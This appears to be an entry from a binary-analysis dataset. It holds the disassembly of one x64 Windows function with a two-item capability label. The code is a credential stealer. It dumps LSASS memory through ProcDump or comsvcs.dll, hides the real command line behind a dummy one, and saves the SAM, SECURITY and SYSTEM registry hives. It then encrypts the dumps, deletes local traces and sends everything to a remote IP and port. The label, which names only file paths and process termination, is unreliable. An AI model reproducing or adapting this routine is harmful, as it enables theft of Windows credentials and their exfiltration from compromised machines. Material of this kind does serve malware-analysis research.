Function at 0x1400011e5
Capabilities:
Get common file path
Terminate process

Disassembly:
jmp 0x140004330
mov qword [rsp + 0x10], rdx
mov dword [rsp + 8], ecx
push rbp
push rsi
push rdi
mov eax, 0x3d50
call fcn.140001082
sub rsp, rax
lea rbp, [rsp + 0x40]
lea rdi, [rsp + 0x40]
mov ecx, 0xdc4
mov eax, 0xcccccccc
rep stosd dword [rdi], eax
mov ecx, dword [rsp + 0x3d78]
lea rcx, [0x1400963cb]
call fcn.1400012c6
lea rcx, str._______________________________________________________n
call fcn.140001163
lea rcx, str.________________________________________________n
call fcn.140001163
lea rcx, str._________________________________n
call fcn.140001163
lea rcx, str._______________________________n
call fcn.140001163
lea rcx, str.________________________________._____n
call fcn.140001163
lea rcx, str._____________________________________________________n
call fcn.140001163
call fcn.1400010f0
test eax, eax
jne 0x1400043d9
lea rcx, str.____Dumping_LSASS_Requires_Elevated_Priviledges_
call fcn.140001163
mov eax, 0xffffffff
jmp 0x140005ac1
xor ecx, ecx
call fcn.140006260
mov ecx, eax
call qword [sym.imp.ucrtbased.dll_srand]
mov dword [rbp + 4], 0
mov qword [rbp + 0x11d8], 0
mov qword [rbp + 0x11f8], 0
mov qword [rbp + 0x1218], 0
mov qword [rbp + 0x1238], 0
mov qword [rbp + 0x1258], 0
mov dword [rbp + 0x1274], 0
mov dword [rbp + 0x1294], 0
mov dword [rbp + 0x12b4], 0
mov dword [rbp + 0x12d4], 0
mov r8, qword [rbp + 0x3d38]
mov edx, dword [rbp + 0x3d30]
lea rcx, [rbp + 0x3cc8]
call fcn.14000125d
lea rcx, [rbp + 0x12f8]
mov rdi, rcx
mov rsi, rax
mov ecx, 0x38
rep movsb byte [rdi], byte [rsi]
cmp dword [rbp + 0x132c], 0
je 0x14000449a
mov dword [rbp + 0x1344], 0xbb8
mov dword [rbp + 0x1364], 0x1d4c0
jmp 0x1400044ae
mov dword [rbp + 0x1344], 0x3e8
mov dword [rbp + 0x1364], 0x2710
mov r9d, socket
mov r8d, 0x20
lea rdx, [0x140015020]
lea rcx, section..data
call fcn.140001140
xor r8d, r8d
lea rdx, [rbp + 4]
lea rcx, [0x140015020]
call fcn.1400012a8
test eax, eax
jne 0x140004501
lea rdx, [0x140015020]
lea rcx, str.____Cound_Not_Get__ss_PID__n
call fcn.140001014
mov eax, 0xffffffff
jmp 0x140005ac1
mov r8d, dword [rbp + 4]
lea rdx, [0x140015020]
lea rcx, str.___Found___s____Of_PID_:__d__n
call fcn.140001014
lea rdx, [rbp + 0x570]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x14000454c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetTempPathW_Failed_With_Error_:__d__n
call fcn.140001163
mov eax, 0xffffffff
jmp 0x140005ac1
xor ecx, ecx
call fcn.140006260
mov qword [rbp + 0x1388], rax
lea rcx, [rbp + 0x1388]
call fcn.1400042e0
mov qword [rbp + 0x13a8], rax
mov r9, qword [rbp + 0x13a8]
lea r8, str.debug_file_process_info__Y_m_d__H_M_S.dmp
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
cmp dword [rbp + 0x1320], 0
je 0x140004699
mov r9d, send
mov r8d, 0x20
lea rdx, [0x140015038]
lea rcx, section..data
call fcn.140001140
mov r9d, 0xe2
mov r8d, 0x20
lea rdx, [0x140015050]
lea rcx, section..data
call fcn.140001140
mov rax, qword [rbp + 0x1308]
mov qword [rsp + 0x30], rax
mov eax, dword [rbp + 4]
mov dword [rsp + 0x28], eax
lea rax, [0x140015038]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x12f8]
lea r8, str._s__s__d__o__s
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011f9
lea r9, [rbp + 0x30]
lea r8, [0x140011b8c]
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010fa
mov rcx, qword [rbp + 0x12f8]
call sub.ucrtbased.dll_strlen
mov rdx, rax
mov rcx, qword [rbp + 0x12f8]
call fcn.140001069
mov qword [rbp + 0x11d8], rax
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x28], rax
lea rax, [0x140015050]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp + 0x11d8]
lea r8, str._ls__ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010fa
jmp 0x14000474f
mov r9d, 0x94
mov r8d, 0x20
lea rdx, [0x140015140]
lea rcx, section..data
call fcn.140001140
mov r9d, 0x11e
mov r8d, 0x20
lea rdx, [0x1400151e0]
lea rcx, section..data
call fcn.140001140
mov rax, qword [rbp + 0x1308]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 4]
lea r8, str._d__s_full
mov edx, 0x100
lea rcx, [rbp + 0x30]
call fcn.1400011f9
lea rax, [rbp + 0x30]
mov qword [rsp + 0x20], rax
lea r9, [0x140015140]
lea r8, str._ls__S
mov edx, 0x200
lea rcx, [rbp + 0x150]
call fcn.1400010fa
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x20], rax
lea r9, [0x1400151e0]
lea r8, str._ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x9c0]
call fcn.1400010fa
cmp dword [rbp + 0x131c], 0
je 0x14000477e
lea rdx, [rbp + 0x150]
lea rcx, str._i__Real_Command:__s_n
call fcn.140001014
lea rdx, [rbp + 0x9c0]
lea rcx, str._i__Dummy_Command:__s_n_n
call fcn.140001014
lea rcx, [rbp + 0x150]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov qword [rbp + 0x3d08], rax
lea rcx, [rbp + 0x9c0]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rcx, qword [rbp + 0x3d08]
cmp rcx, rax
jbe 0x1400047bc
lea rcx, str.____Real_Command_Cannot_Be_Longer_Than_Dummy_Command__n
call fcn.140001163
jmp 0x140005982
mov qword [rbp + 0x13c8], 0
mov qword [rbp + 0x13e8], 0
mov dword [rbp + 0x1404], 0
mov dword [rbp + 0x1424], 0
cmp dword [rbp + 0x1320], 0
je 0x140004832
lea rcx, str._i__Dumping_LSASS_Using_ProcDump..._n
call fcn.140001163
mov r9d, dword [rbp + 0x131c]
mov r8, qword [rbp + 0x12f8]
mov edx, 0x67b98
lea rcx, [0x140015410]
call fcn.1400012a3
mov rcx, qword [rbp + 0x11d8]
call qword [sym.imp.ucrtbased.dll_wcslen]
shl rax, 1
mov dword [rbp + 0x1424], eax
jmp 0x140004848
lea rcx, str._i__Dumping_LSASS_Using_comsvcs.dll..._n
call fcn.140001163
mov dword [rbp + 0x1424], 0x40
cmp dword [rbp + 0x1324], 0
je 0x1400048ad
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1404]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x131c]
mov r8d, dword [rbp + 0x1424]
lea rdx, [rbp + 0x9c0]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x1400048ab
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.140001163
jmp 0x140005982
jmp 0x140004907
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1404]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x131c]
mov r8d, dword [rbp + 0x1424]
lea rdx, [rbp + 0x150]
lea rcx, [rbp + 0x9c0]
call fcn.1400010d7
test eax, eax
jne 0x140004907
lea rcx, str.____Failed_to_Create_Process_to_Dump_LSASS_
call fcn.140001163
jmp 0x140005982
mov edx, 0x40
lea rcx, [rbp + 0x1450]
call fcn.140001064
mov r8d, 0x40
lea rdx, [rbp + 0x1450]
lea rcx, [rbp + 0x14b0]
call sub.VCRUNTIME140D.dll_memcpy
cmp dword [rbp + 0x131c], 0
je 0x140004946
lea rcx, str._i__Reading_Dump_File_and_Zeroing_Bytes..._n
call fcn.140001163
cmp dword [rbp + 0x1320], 0
je 0x14000495a
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1504], 0
jmp 0x140004974
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x186a0
jge 0x140004999
mov edx, 6
mov rcx, qword [rbp + 0x1308]
call fcn.1400012ad
test eax, eax
je 0x140004997
jmp 0x140004999
jmp 0x140004966
cmp dword [rbp + 0x131c], 0
je 0x1400049b4
mov edx, dword [rbp + 0x1504]
lea rcx, str._i__Retry_Count:__d_n
call fcn.140001163
cmp dword [rbp + 0x1504], 0x186a0
jne 0x1400049e1
lea rcx, str.____Failed_to_Locate_LSASS_Dump_File__n
call fcn.140001163
cmp dword [rbp + 0x1328], 0
je 0x1400049dc
jmp 0x140004b03
jmp 0x140005982
lea r8, [rbp + 0x1274]
lea rdx, [rbp + 0x1258]
mov rcx, qword [rbp + 0x1308]
call fcn.14000103c
test eax, eax
je 0x140004a28
mov eax, dword [rbp + 0x1274]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140012640]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___LSASS_Dump_Read:__.2f_MB_n_n
call fcn.140001163
jmp 0x140004a39
lea rcx, str.____Unable_to_Read_LSASS_Dump
call fcn.140001163
jmp 0x140005982
mov r9d, dword [rbp + 0x1274]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1258]
lea rcx, [rbp + 0x1450]
call fcn.140001140
test eax, eax
jne 0x140004a62
jmp 0x140005982
lea rcx, str._i__Cleaning_up_local_files..._n
call fcn.140001163
mov edx, 1
mov rcx, qword [rbp + 0x1308]
call fcn.14000123a
cmp dword [rbp + 0x1320], 0
je 0x140004aed
mov dword [rbp + 0x1504], 0
jmp 0x140004aa2
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x14
jge 0x140004ad1
mov edx, 1
mov rcx, qword [rbp + 0x12f8]
call fcn.14000123a
test eax, eax
je 0x140004ac4
jmp 0x140004ad1
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004a94
cmp dword [rbp + 0x1504], 0x14
jne 0x140004aed
mov rdx, qword [rbp + 0x12f8]
lea rcx, str.____Failed_to_Delete__s_n
call fcn.140001163
lea rcx, [0x14000ff94]
call fcn.140001163
mov dword [rbp + 0x1424], 0x36
cmp dword [rbp + 0x1328], 0
je 0x1400050ff
lea rcx, str._i__Dumping_Registry_Hives..._n
call fcn.140001163
mov qword [rbp + 0x2c28], 0
mov r9d, 0x4e
mov r8d, 0x20
lea rdx, [0x140015300]
lea rcx, section..data
call fcn.140001140
mov r9d, 0xc0
mov r8d, 0x20
lea rdx, [0x140015350]
lea rcx, section..data
call fcn.140001140
mov r9, qword [rbp + 0x13a8]
lea r8, str.registry_debug_info__Y_m_d__H_M_S.data
mov edx, 0x100
lea rcx, [rbp + 0x7a0]
call qword [sym.imp.ucrtbased.dll_wcsftime]
lea rax, [rbp + 0x7a0]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x570]
mov qword [rsp + 0x20], rax
lea r9, [0x140015350]
lea r8, str._ls__ls_ls
mov edx, 0x400
lea rcx, [rbp + 0x1530]
call fcn.1400010fa
mov edx, 6
lea rcx, [rbp + 0x29c8]
call fcn.1400011a9
lea rax, [rbp + 0x29c8]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x570]
lea r8, str._ls_ls
mov edx, 0x104
lea rcx, [rbp + 0x2a00]
call fcn.1400010fa
lea rcx, [rbp + 0x2a00]
call qword [sym.imp.ucrtbased.dll_wcslen]
mov rdx, rax
lea rcx, [rbp + 0x2a00]
call fcn.1400012b2
mov qword [rbp + 0x2c28], rax
lea rax, [rbp + 0x2a00]
mov qword [rsp + 0x20], rax
lea r9, [0x140015300]
lea r8, str._lsSAM__ls
mov edx, 0x200
lea rcx, [rbp + 0x1d50]
call fcn.1400010fa
lea rax, [rbp + 0x2a00]
mov qword [rsp + 0x20], rax
lea r9, [0x140015300]
lea r8, str._lsSECURITY__ls
mov edx, 0x200
lea rcx, [rbp + 0x2170]
call fcn.1400010fa
lea rax, [rbp + 0x2a00]
mov qword [rsp + 0x20], rax
lea r9, [0x140015300]
lea r8, str._lsSYSTEM__ls
mov edx, 0x209
lea rcx, [rbp + 0x2590]
call fcn.1400010fa
cmp dword [rbp + 0x131c], 0
je 0x140004cf1
lea rdx, [rbp + 0x1d50]
lea rcx, str._i__Real_Reg_Commands:_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x2170]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x2590]
lea rcx, str._t_t_t_s_n
call fcn.140001014
lea rdx, [rbp + 0x1530]
lea rcx, str._i__Dummy_Reg_Commands:__s_n_n
call fcn.140001014
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1404]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x131c]
mov r8d, dword [rbp + 0x1424]
lea rdx, [rbp + 0x1d50]
lea rcx, [rbp + 0x1530]
call fcn.1400010d7
test eax, eax
jne 0x140004d5c
lea rcx, str.____Failed_to_Create_Process_to_Dump_SAM_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x140004d57
jmp 0x140005982
jmp 0x1400050ff
mov dword [rbp + 0x1504], 0
jmp 0x140004d76
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x14
jge 0x140004dd3
lea r8, [rbp + 0x1294]
lea rdx, [rbp + 0x11f8]
mov rcx, qword [rbp + 0x2c28]
call fcn.14000103c
test eax, eax
je 0x140004dc6
mov eax, dword [rbp + 0x1294]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140012640]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SAM_Save_Read:__.2f_MB_n
call fcn.140001163
jmp 0x140004dd3
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004d68
cmp dword [rbp + 0x1504], 0x14
jne 0x140004dfe
lea rcx, str.____Unable_to_Read_SAM_Save_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x140004df9
jmp 0x140005982
jmp 0x1400050ff
mov r9d, dword [rbp + 0x1294]
mov r8d, 0x40
mov rdx, qword [rbp + 0x11f8]
lea rcx, [rbp + 0x1450]
call fcn.140001140
test eax, eax
jne 0x140004e38
cmp qword [rbp + 0x1258], 0
jne 0x140004e33
jmp 0x140005982
jmp 0x1400050ff
mov edx, 1
mov rcx, qword [rbp + 0x2c28]
call fcn.14000123a
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1404]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x131c]
mov r8d, dword [rbp + 0x1424]
lea rdx, [rbp + 0x2170]
lea rcx, [rbp + 0x1530]
call fcn.1400010d7
test eax, eax
jne 0x140004eb4
lea rcx, str.____Failed_to_Create_Process_to_Dump_SECURITY_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x140004eaf
jmp 0x140005982
jmp 0x1400050ff
mov dword [rbp + 0x1504], 0
jmp 0x140004ece
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x14
jge 0x140004f2b
lea r8, [rbp + 0x12b4]
lea rdx, [rbp + 0x1218]
mov rcx, qword [rbp + 0x2c28]
call fcn.14000103c
test eax, eax
je 0x140004f1e
mov eax, dword [rbp + 0x12b4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140012640]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SECURITY_Save_Read:__.2f_MB_n
call fcn.140001163
jmp 0x140004f2b
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140004ec0
cmp dword [rbp + 0x1504], 0x14
jne 0x140004f56
lea rcx, str.____Unable_to_Read_SECURITY_Save_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x140004f51
jmp 0x140005982
jmp 0x1400050ff
mov r9d, dword [rbp + 0x12b4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1218]
lea rcx, [rbp + 0x1450]
call fcn.140001140
test eax, eax
jne 0x140004f90
cmp qword [rbp + 0x1258], 0
jne 0x140004f8b
jmp 0x140005982
jmp 0x1400050ff
mov edx, 1
mov rcx, qword [rbp + 0x2c28]
call fcn.14000123a
lea rax, [rbp + 0x13e8]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x13c8]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0x1404]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp + 0x131c]
mov r8d, dword [rbp + 0x1424]
lea rdx, [rbp + 0x2590]
lea rcx, [rbp + 0x1530]
call fcn.1400010d7
test eax, eax
jne 0x14000500c
lea rcx, str.____Failed_to_Create_Process_to_Dump_SYSTEM_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x140005007
jmp 0x140005982
jmp 0x1400050ff
mov dword [rbp + 0x1504], 0
jmp 0x140005026
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 0x14
jge 0x140005083
lea r8, [rbp + 0x12d4]
lea rdx, [rbp + 0x1238]
mov rcx, qword [rbp + 0x2c28]
call fcn.14000103c
test eax, eax
je 0x140005076
mov eax, dword [rbp + 0x12d4]
cvtsi2sd xmm0, rax
divsd xmm0, qword [0x140012640]
movaps xmm1, xmm0
movq rdx, xmm1
lea rcx, str.___SYSTEM_Save_Read:__.2f_MB_n
call fcn.140001163
jmp 0x140005083
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005018
cmp dword [rbp + 0x1504], 0x14
jne 0x1400050ab
lea rcx, str.____Unable_to_Read_SYSTEM_Save_n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
jne 0x1400050a9
jmp 0x140005982
jmp 0x1400050ff
mov r9d, dword [rbp + 0x12d4]
mov r8d, 0x40
mov rdx, qword [rbp + 0x1238]
lea rcx, [rbp + 0x1450]
call fcn.140001140
test eax, eax
jne 0x1400050e2
cmp qword [rbp + 0x1258], 0
jne 0x1400050e0
jmp 0x140005982
jmp 0x1400050ff
mov edx, 1
mov rcx, qword [rbp + 0x2c28]
call fcn.14000123a
lea rcx, [0x14000ff94]
call fcn.140001163
cmp dword [rbp + 0x1318], 0
je 0x14000525d
lea rcx, str._i__Local_Mode_Selected._Writing_Encrypted_File_s__to_Disk..._n
call fcn.140001163
cmp qword [rbp + 0x1258], 0
je 0x140005143
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1300]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400012a3
cmp qword [rbp + 0x11f8], 0
je 0x140005247
cmp qword [rbp + 0x1218], 0
je 0x140005247
cmp qword [rbp + 0x1238], 0
je 0x140005247
mov edx, 0x104
lea rcx, [rbp + 0x2c50]
call sub.ucrtbased.dll__getcwd
cdqe
test rax, rax
jne 0x140005196
lea rcx, str.____Unable_to_Get_Current_Directory_
call fcn.140001163
jmp 0x140005247
lea r8, [rbp + 0x2c50]
lea rdx, str._s_sam.dat
lea rcx, [rbp + 0x2d80]
call fcn.140001294
lea r8, [rbp + 0x2c50]
lea rdx, str._s_security.dat
lea rcx, [rbp + 0x2eb0]
call fcn.140001294
lea r8, [rbp + 0x2c50]
lea rdx, str._s_system.dat
lea rcx, [rbp + 0x2fe0]
call fcn.140001294
mov eax, dword [rbp + 0x1294]
mov r9d, 1
lea r8, [rbp + 0x2d80]
mov edx, eax
mov rcx, qword [rbp + 0x11f8]
call fcn.1400012a3
mov eax, dword [rbp + 0x12b4]
mov r9d, 1
lea r8, [rbp + 0x2eb0]
mov edx, eax
mov rcx, qword [rbp + 0x1218]
call fcn.1400012a3
mov eax, dword [rbp + 0x12d4]
mov r9d, 1
lea r8, [rbp + 0x2fe0]
mov edx, eax
mov rcx, qword [rbp + 0x1238]
call fcn.1400012a3
mov edx, 0x40
lea rcx, [rbp + 0x1450]
call fcn.140001177
jmp 0x140005780
lea rcx, str._i__Remote_Mode_Selected_n
call fcn.140001163
lea r9, [rbp + 0x3158]
lea r8, [rbp + 0x3134]
lea rdx, [rbp + 0x3108]
mov rcx, qword [rbp + 0x1310]
call fcn.1400010b4
test eax, eax
je 0x1400052ac
cmp dword [rbp + 0x131c], 0
je 0x1400052aa
mov rdx, qword [rbp + 0x3158]
lea rcx, str._i__Encrypting_key_with:__llu_n
call fcn.140001163
jmp 0x1400052ef
lea rcx, str.____Failed_to_Parse_IP_and_Port__Saving_Locally_Instead._n
call fcn.140001163
mov eax, dword [rbp + 0x1274]
mov r9d, 1
mov r8, qword [rbp + 0x1300]
mov edx, eax
mov rcx, qword [rbp + 0x1258]
call fcn.1400012a3
mov edx, 0x40
lea rcx, [rbp + 0x1450]
call fcn.140001177
jmp 0x140005982
mov r9d, 0x40
mov r8d, 8
lea rdx, [rbp + 0x14b0]
lea rcx, [rbp + 0x3158]
call fcn.140001140
test eax, eax
jne 0x140005317
jmp 0x140005982
cmp qword [rbp + 0x1258], 0
je 0x140005352
cmp qword [rbp + 0x11f8], 0
je 0x140005352
cmp qword [rbp + 0x1218], 0
je 0x140005352
cmp qword [rbp + 0x1238], 0
je 0x140005352
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x3180], 0
jmp 0x14000539e
cmp qword [rbp + 0x1258], 0
je 0x14000536f
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x3180], 1
jmp 0x14000539e
cmp qword [rbp + 0x11f8], 0
je 0x14000539e
cmp qword [rbp + 0x1218], 0
je 0x14000539e
cmp qword [rbp + 0x1238], 0
je 0x14000539e
mov eax, 1
imul rax, rax, 0
mov byte [rbp + rax + 0x3180], 2
lea rax, [rbp + 0x3181]
mov r8d, 0x40
lea rdx, [rbp + 0x14b0]
mov rcx, rax
call sub.VCRUNTIME140D.dll_memcpy
mov r8d, dword [rbp + 0x3134]
lea rdx, [rbp + 0x3108]
lea rcx, str._i__Connecting_to__s:_d_n
call fcn.140001163
lea rcx, str._i__Sending_Encrypted_Key..._n
call fcn.140001163
mov dword [rbp + 0x1504], 0
jmp 0x1400053fa
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 3
jge 0x140005441
mov r9d, 0x41
lea r8, [rbp + 0x3180]
mov edx, dword [rbp + 0x3134]
lea rcx, [rbp + 0x3108]
call fcn.140001046
test eax, eax
je 0x140005428
jmp 0x140005441
lea rcx, str._i__Retrying..._n
call fcn.140001163
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400053ec
cmp dword [rbp + 0x1504], 3
jne 0x14000545b
lea rcx, str.____Failed_to_Transfer_Key__Saving_Locally_Instead._n
call fcn.140001163
jmp 0x140005842
cmp qword [rbp + 0x11f8], 0
je 0x140005641
cmp qword [rbp + 0x1218], 0
je 0x140005641
cmp qword [rbp + 0x1238], 0
je 0x140005641
lea rcx, str._i__Sending_Encrypted_SAM_Save..._n
call fcn.140001163
mov ecx, dword [rbp + 0x1344]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1504], 0
jmp 0x1400054b7
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 3
jge 0x1400054ff
mov r9d, dword [rbp + 0x1294]
mov r8, qword [rbp + 0x11f8]
mov edx, dword [rbp + 0x3134]
lea rcx, [rbp + 0x3108]
call fcn.140001046
test eax, eax
je 0x1400054e6
jmp 0x1400054ff
lea rcx, str._i__Retrying..._n
call fcn.140001163
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400054a9
cmp dword [rbp + 0x1504], 3
jne 0x140005519
lea rcx, str.____Failed_to_Transfer_SAM_Save__Saving_Locally_Instead._n
call fcn.140001163
jmp 0x140005842
lea rcx, str._i__Sending_Encrypted_SECURITY_Save..._n
call fcn.140001163
mov ecx, dword [rbp + 0x1344]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1504], 0
jmp 0x14000554b
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 3
jge 0x140005593
mov r9d, dword [rbp + 0x12b4]
mov r8, qword [rbp + 0x1218]
mov edx, dword [rbp + 0x3134]
lea rcx, [rbp + 0x3108]
call fcn.140001046
test eax, eax
je 0x14000557a
jmp 0x140005593
lea rcx, str._i__Retrying..._n
call fcn.140001163
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x14000553d
cmp dword [rbp + 0x1504], 3
jne 0x1400055ad
lea rcx, str.____Failed_to_Transfer_SECURITY_Save__Saving_Locally_Instead._n
call fcn.140001163
jmp 0x140005842
lea rcx, str._i__Sending_Encrypted_SYSTEM_Save..._n
call fcn.140001163
mov ecx, dword [rbp + 0x1344]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rbp + 0x1504], 0
jmp 0x1400055df
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 3
jge 0x140005627
mov r9d, dword [rbp + 0x12d4]
mov r8, qword [rbp + 0x1238]
mov edx, dword [rbp + 0x3134]
lea rcx, [rbp + 0x3108]
call fcn.140001046
test eax, eax
je 0x14000560e
jmp 0x140005627
lea rcx, str._i__Retrying..._n
call fcn.140001163
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1400055d1
cmp dword [rbp + 0x1504], 3
jne 0x140005641
lea rcx, str.____Failed_to_Transfer_SYSTEM_Save__Saving_Locally_Instead._n
call fcn.140001163
jmp 0x140005842
cmp qword [rbp + 0x1258], 0
je 0x140005780
cmp qword [rbp + 0x11f8], 0
je 0x1400056e4
cmp qword [rbp + 0x1218], 0
je 0x1400056e4
cmp qword [rbp + 0x1238], 0
je 0x1400056e4
mov eax, dword [rbp + 0x1364]
cdq
mov ecx, 0x3e8
idiv ecx
mov edx, eax
lea rcx, str._i__Waiting__d_Seconds_For_Previous_Data_Transfer_to_Complete..._n
call fcn.140001163
lea rcx, str._i__Press_Enter_to_Skip_n
call fcn.140001163
mov dword [rbp + 0x31e4], 0
call sub.ucrtbased.dll__kbhit
test eax, eax
jne 0x1400056d6
mov eax, dword [rbp + 0x1364]
cmp dword [rbp + 0x31e4], eax
jge 0x1400056d6
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [rbp + 0x31e4]
add eax, 0x64
mov dword [rbp + 0x31e4], eax
jmp 0x1400056a3
call sub.ucrtbased.dll__kbhit
test eax, eax
je 0x1400056e4
call sub.ucrtbased.dll__getch
lea rcx, str._i__Sending_Encrypted_LSASS_Dump..._n
call fcn.140001163
mov ecx, 1
call qword [sym.imp.ucrtbased.dll___acrt_iob_func]
mov rcx, rax
call qword [sym.imp.ucrtbased.dll_fflush]
mov dword [rbp + 0x1504], 0
jmp 0x14000571e
mov eax, dword [rbp + 0x1504]
inc eax
mov dword [rbp + 0x1504], eax
cmp dword [rbp + 0x1504], 3
jge 0x140005766
mov r9d, dword [rbp + 0x1274]
mov r8, qword [rbp + 0x1258]
mov edx, dword [rbp + 0x3134]
lea rcx, [rbp + 0x3108]
call fcn.140001046
test eax, eax
je 0x14000574d
jmp 0x140005766
lea rcx, str._i__Retrying..._n
call fcn.140001163
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140005710
cmp dword [rbp + 0x1504], 3
jne 0x140005780
lea rcx, str.____Failed_to_Transfer_LSASS_Dump__Saving_Locally_Instead._n
call fcn.140001163
jmp 0x140005842
cmp qword [rbp + 0x1258], 0
je 0x1400057a2
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1258]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x11f8], 0
je 0x1400057c4
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x11f8]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1218], 0
je 0x1400057e6
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1218]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
cmp qword [rbp + 0x1238], 0
je 0x140005808
call qword [sym.imp.KERNEL32.dll_GetProcessHeap]
mov r8, qword [rbp + 0x1238]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rcx, qword [rbp + 0x12f8]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1300]
call qword [sym.imp.ucrtbased.dll_free]
mov rcx, qword [rbp + 0x1308]
call qword [sym.imp.ucrtbased.dll_free]
lea rcx, str.___All_done__n_n
